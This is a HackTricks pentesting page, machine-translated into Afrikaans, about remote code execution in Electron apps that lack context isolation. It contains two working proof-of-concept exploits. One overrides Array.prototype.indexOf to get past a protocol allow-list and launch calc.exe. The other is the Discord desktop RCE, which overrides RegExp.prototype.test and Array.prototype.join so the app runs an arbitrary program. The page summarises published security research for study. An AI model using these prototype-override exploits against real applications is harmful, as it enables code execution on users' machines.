Electron contextIsolation RCE via preload code

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Voorbeeld 1

Voorbeeld van https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Hierdie kode open http(s) skakels met die verstek webblaaier:

Iets soos file:///C:/Windows/systemd32/calc.exe kan gebruik word om 'n sakrekenaar uit te voer, die SAFE_PROTOCOLS.indexOf voorkom dit.

Daarom kan 'n aanvaller hierdie JS-kode inspuit via die XSS of willekeurige bladsynavigasie:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>

Soos die oproep na SAFE_PROTOCOLS.indexOf altyd 1337 sal teruggee, kan die aanvaller die beskerming omseil en die rekenaar uitvoer. Finale uitbuiting:

<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Kyk na die oorspronklike skyfies vir ander maniere om programme uit te voer sonder om 'n versoek vir toestemmings te hê.

Blykbaar is nog 'n manier om kode te laai en uit te voer om iets soos file://127.0.0.1/electron/rce.jar te benader.

Voorbeeld 2: Discord-toepassing RCE

Voorbeeld van https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Toe ek die preload-skripte nagaan, het ek gevind dat Discord die funksie blootstel wat toelaat dat sommige toegelate modules aangeroep kan word via DiscordNative.nativeModules.requireModule('MODULE-NAME'), na die webbladsy. Hier kon ek nie modules gebruik wat direk vir RCE gebruik kan word nie, soos die child_process module, maar ek het 'n kode gevind waar RCE bereik kan word deur die oorskrywing van die JavaScript-ingeboude metodes en deur in te meng met die uitvoering van die blootgestelde module.

Die volgende is die PoC. Ek kon bevestig dat die calc-toepassing opduik wanneer ek die getGPUDriverVersions-funksie oproep wat in die module genaamd "discord_utils" gedefinieer is vanaf devTools, terwyl ek die RegExp.prototype.test en Array.prototype.join oorskryf.

RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

Die getGPUDriverVersions funksie probeer om die program uit te voer deur die "execa" biblioteek te gebruik, soos die volgende:

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}

const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}

return result;
};

Gewoonlik probeer die execa om "nvidia-smi.exe" uit te voer, wat gespesifiseer is in die nvidiaSmiPath veranderlike, maar as gevolg van die oorskrywing van RegExp.prototype.test en Array.prototype.join, word die argument vervang deur "calc" in die _execa_** se interne verwerking**.

Spesifiek word die argument vervang deur die volgende twee dele te verander.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated